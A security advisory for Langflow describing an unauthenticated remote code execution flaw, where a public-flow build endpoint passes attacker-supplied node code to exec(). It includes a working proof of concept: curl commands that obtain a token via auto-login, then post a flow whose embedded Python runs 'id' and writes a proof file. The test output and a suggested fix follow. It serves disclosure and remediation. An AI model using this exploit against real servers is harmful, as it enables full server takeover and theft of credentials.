PT-2026-28281 · Pypi · Langflow

Published

2026-03-17

·

Updated

2026-03-17

·

CVE-2025-33017

CVSS v3.1

9.8

Critical

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

The POST /api/v1/build public tmp/{flow id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution.
This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build public tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.

Affected Code

Vulnerable Endpoint (No Authentication)

File: src/backend/base/langflow/api/v1/chat.py, lines 580-657
python
@router.post("/build public tmp/{flow id}/flow")
async def build public tmp(
  *,
  flow id: uuid.UUID,
  data: Annotated[FlowDataRequest | None, Body(embed=True)] = None, # ATTACKER CONTROLLED
  request: Request,
  # ... NO Depends(get current active user) -- MISSING AUTH ...
):
  """Build a public flow without requiring authentication."""
  client id = request.cookies.get("client id")
  owner user, new flow id = await verify public flow and get user(flow id=flow id, client id=client id)

  job id = await start flow build(
    flow id=new flow id,
    data=data, # Attacker's data passed directly to graph builder
    current user=owner user,
    ...
  )
Compare with the authenticated build endpoint at line 138, which requires current user: CurrentActiveUser.

Code Execution Chain

When attacker-supplied data is provided, it flows through:
  1. start flow build(data=attacker data)generate flow events() -- build.py:81
  2. create graph()build graph from data(payload=data.model dump()) -- build.py:298
  3. Graph.from payload(payload) parses attacker nodes -- base.py:1168
  4. add nodes and edges()initialize() build graph() -- base.py:270,527
  5. instantiate components in vertices() iterates nodes -- base.py:1323
  6. vertex.instantiate component()instantiate class(vertex) -- loading.py:28
  7. code = custom params.pop("code") extracts attacker code -- loading.py:43
  8. eval custom component code(code)create class(code, class name) -- eval.py:9
  9. prepare global scope(module) -- validate.py:323
  10. exec(compiled code, exec globals) -- ARBITRARY CODE EXECUTION -- validate.py:397

Unsandboxed exec() in prepare global scope

File: src/lfx/src/lfx/custom/validate.py, lines 340-397
python
def prepare global scope(module):
  exec globals = globals().copy()

  # Imports are resolved first (any module can be imported)
  for node in imports:
    module obj = importlib.import module(module name) # line 352
    exec globals[variable name] = module obj

  # Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)
  if definitions:
    combined module = ast.Module(body=definitions, type ignores=[])
    compiled code = compile(combined module, "<string>", "exec")
    exec(compiled code, exec globals) # line 397 - ARBITRARY CODE EXECUTION
Critical detail: prepare global scope executes ast.Assign nodes. An attacker's code like x = os.system("id") is an assignment and will be executed during graph building -- before the flow even "runs."

Prerequisites

  1. Target Langflow instance has at least one public flow (common for demos, chatbots, shared workflows)
  2. Attacker knows the public flow's UUID (discoverable via shared links/URLs)
  3. No authentication required -- only a client id cookie (any arbitrary string value)
When AUTO LOGIN=true (the default), all prerequisites can be met by an unauthenticated attacker:
  1. GET /api/v1/auto login → obtain superuser token
  2. POST /api/v1/flows/ → create a public flow
  3. Exploit via build public tmp without any auth

Proof of Concept

Tested Against

  • Langflow version 1.7.3 (latest stable release, installed via pip install langflow)
  • Fully reproducible: 6/6 runs confirmed RCE (two sets of 3 runs each)

Step 1: Obtain a Public Flow ID

(In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO LOGIN.)
bash
# Get superuser token (no credentials needed when AUTO LOGIN=true)
TOKEN=$(curl -s http://localhost:7860/api/v1/auto login | jq -r '.access token')

# Create a public flow
FLOW ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ 
 -H "Authorization: Bearer $TOKEN" 
 -H "Content-Type: application/json" 
 -d '{"name":"test","data":{"nodes":[],"edges":[]},"access type":"PUBLIC"}' 
 | jq -r '.id')

echo "Public Flow ID: $FLOW ID"

Step 2: Exploit -- Unauthenticated RCE

bash
# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint
# NO Authorization header, NO API key, NO credentials
curl -X POST "http://localhost:7860/api/v1/build public tmp/${FLOW ID}/flow" 
 -H "Content-Type: application/json" 
 -b "client id=attacker" 
 -d '{
  "data": {
   "nodes": [{
    "id": "Exploit-001",
    "type": "genericNode",
    "position": {"x":0,"y":0},
    "data": {
     "id": "Exploit-001",
     "type": "ExploitComp",
     "node": {
      "template": {
       "code": {
        "type": "code",
        "required": true,
        "show": true,
        "multiline": true,
        "value": "import os, socket, json as json

 proof = os.popen("id").read().strip()
 host = socket.gethostname()
 write = open("/tmp/rce-proof","w").write(f"{ proof} on { host}")

from lfx.custom.custom component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
  display name="X"
  outputs=[Output(display name="O",name="o",method="r")]
  def r(self)->Data:
    return Data(data={})",
        "name": "code",
        "password": false,
        "advanced": false,
        "dynamic": false
       },
       " type": "Component"
      },
      "description": "X",
      "base classes": ["Data"],
      "display name": "ExploitComp",
      "name": "ExploitComp",
      "frozen": false,
      "outputs": [{"types":["Data"],"selected":"Data","name":"o","display name":"O","method":"r","value":" UNDEFINED ","cache":true,"allows loop":false,"tool mode":false,"hidden":null,"required inputs":null,"group outputs":false}],
      "field order": ["code"],
      "beta": false,
      "edited": false
     }
    }
   }],
   "edges": []
  },
  "inputs": null
 }'

Step 3: Verify Code Execution

bash
# Wait 2 seconds for async graph building
sleep 2

# Check proof file written by attacker's code on the server
cat /tmp/rce-proof
# Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali

Actual Test Results

======================================================================
LANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST
======================================================================
Version: Langflow 1.7.3

RUN 1: POST /api/v1/build public tmp/{id}/flow (NO AUTH)
 HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19
 *** REMOTE CODE EXECUTION CONFIRMED ***
  canary: RCE-f0d19b36
  hostname: kali
  uid: 1000
  whoami: aviral
  id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),...
  uname: Linux 6.16.8+kali-amd64

RUN 2: POST /api/v1/build public tmp/{id}/flow (NO AUTH)
 HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832
 *** REMOTE CODE EXECUTION CONFIRMED ***
  canary: RCE-6037a271

RUN 3: POST /api/v1/build public tmp/{id}/flow (NO AUTH)
 HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7
 *** REMOTE CODE EXECUTION CONFIRMED ***
  canary: RCE-4a796556

FINAL RESULTS
 Total checks:  15
 VULNERABLE:   15
 SAFE:      0
 RCE confirmed: 3/3 runs
 Reproducible:  YES (100%)

Impact

  • Unauthenticated Remote Code Execution with full server process privileges
  • Complete server compromise: arbitrary file read/write, command execution
  • Environment variable exfiltration: API keys, database credentials, cloud tokens (confirmed in PoC: env keys exfiltrated)
  • Reverse shell access for persistent access
  • Lateral movement within the network
  • Data exfiltration from all flows, messages, and stored credentials in the database

Comparison with CVE-2025-3248

AspectCVE-2025-3248This Vulnerability
Endpoint/api/v1/validate/code/api/v1/build public tmp/{id}/flow
Fix appliedAdded Depends(get current active user)None -- NEW vulnerability
Root causeMissing auth on code validationUnauthenticated endpoint accepts attacker-controlled executable code via data param
Code execution viavalidate code()exec()create class()prepare global scope()exec()
CISA KEVYes (actively exploited)N/A (new finding)
Can simple auth fix?Yes (and it was fixed)No -- endpoint is designed to be unauthenticated; the data parameter must be removed

Recommended Fix

Immediate (Short-term)

Remove the data parameter from build public tmp. Public flows should only execute their stored flow data, never attacker-supplied data:
python
@router.post("/build public tmp/{flow id}/flow")
async def build public tmp(
  *,
  flow id: uuid.UUID,
  inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,
  # REMOVED: data parameter -- public flows must use stored data only
  ...
):
In generate flow eventscreate graph(), only the build graph from db path should be reachable for unauthenticated requests:
python
async def create graph(fresh session, flow id str, flow name):
  # For public flows, ALWAYS load from database, never from user data
  return await build graph from db(
    flow id=flow id,
    session=fresh session,
    ...
  )

Fix

Eval Injection

Code Injection

Missing Authentication

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

CVE-2025-33017
GHSA-VWMF-PQ79-VJVX

Affected Products

Langflow